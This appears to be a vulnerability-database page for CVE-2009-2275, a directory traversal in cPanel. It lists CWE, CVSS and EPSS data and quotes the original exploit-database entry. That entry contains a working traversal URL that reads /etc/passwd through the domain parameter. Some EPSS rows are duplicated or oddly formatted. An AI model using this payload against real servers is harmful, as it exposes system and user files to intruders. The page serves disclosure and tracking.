CVE-2009-2275

CVE Descriptions

Directory traversal vulnerability in frontend/x3/stats/lastvisit.html in cPanel allows remote attackers to read arbitrary files via a .. (dot dot) in the domain parameter.

CVE Informations

Related Weaknesses

CWE-ID	Weakness Name	Source
CWE-22	Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.

Metrics

Metrics	Score	Severity	CVSS Vector	Source
V2	5		AV:N/AC:L/Au:N/C:P/I:N/A:N	nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	4.19%	–	–
2022-04-03	–	–	4.19%	–	–
2022-07-17	–	–	4.19%	–	–
2023-03-12	–	–	–	0.81%	–
2023-05-21	–	–	–	0.57%	–
2023-11-19	–	–	–	0.64%	–
2023-12-31	–	–	–	0.78%	–
2024-02-11	–	–	–	0.96%	–
2024-06-02	–	–	–	0.96%	–
2024-06-09	–	–	–	1.22%	–
2024-07-21	–	–	–	1.22%	–
2024-07-28	–	–	–	1.22%	–
2024-08-11	–	–	–	1.22%	–
2024-12-22	–	–	–	1.22%	–
2025-01-12	–	–	–	1.1%	–
2025-02-23	–	–	–	1.1%	–
2025-01-19	–	–	–	1.1%	–
2025-02-23	–	–	–	1.1%	–
2025-03-18	–	–	–	–	0.77%
2025-03-30	–	–	–	–	0.77%
2025-04-15	–	–	–	–	0.77%
2025-04-15	–	–	–	–	0.77,%

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

EPSS First.org

Date	Percentile
2022-02-06	7%
2022-04-03	86%
2022-07-17	87%
2023-03-12	79%
2023-05-21	75%
2023-11-19	77%
2023-12-31	79%
2024-02-11	83%
2024-06-02	83%
2024-06-09	85%
2024-07-21	86%
2024-07-28	85%
2024-08-11	86%
2024-12-22	85%
2025-01-12	84%
2025-02-23	85%
2025-01-19	84%
2025-02-23	85%
2025-03-18	72%
2025-03-30	71%
2025-04-15	72%
2025-04-15	72%

Exploit information

Exploit Database EDB-ID : 9039

Publication date : 2009-06-28 22h00 +00:00
Author : SecurityRules
EDB Verified : Yes

+===================================================================================+ ./SEC-R1Z _ __ _ _ _ _ ___ _ _ _ _ __ _ _ _ _ _ / /_ _ _ _ / _ _\/ _ _ /\ \< |/_ _ _ _ / \ \_ _ _ _/ /___ / / __ | |) / | | / / \_ _ _ _/ /___ / / | __ || / | | / / _______\ \_ _ \ \2_0_0_9 | \ | | / /____ /_ _ _ _ _\ _ _ _/\ _ _ _ / |__|\ __\ |__|/_ _ _ _ _\ R.I.P MichaelJackson !!!!! +===================================================================================+ | | | | | CPANEL USER BYPASS | | | +===================================================================================+ | | | Author.: Black Dream | | Contact: Be5_at_HoTMail_dot_Fr | | HoMe : www.sec-r1z.com | | ARAB ETHICAL HACKING, PENETRATION TESTING & WEB APPLICATION SECURITY SYSTEM | +===================================================================================+ | | | Script.: CPANEL | | Home...: http://CPANEL.NET | | | +-----------------------------------------------------------------------------------+ | | | [+] Exploit: | | | | http://r1z.com:2082/frontend/x3/stats/lastvisit.html?domain=../../../../../../../../ etc/ passwd | | | | | | | | | | | [+] Now you see all cpanel[s] user[s] | | | | [+] Enjoy xD | +-----------------------------------------------------------------------------------| +===================================================================================+ | | | Greetz.: ~ His0k4 ~ j0rd4n14n.r1z ~ SimO-s0fT ~ S4s-T3rr0rist ~ Golden-Z3r0 | | Linux-D3v1L And All #sec-r1z memb3rz!!!! | +===================================================================================+ E0D|F # milw0rm.com [2009-06-29]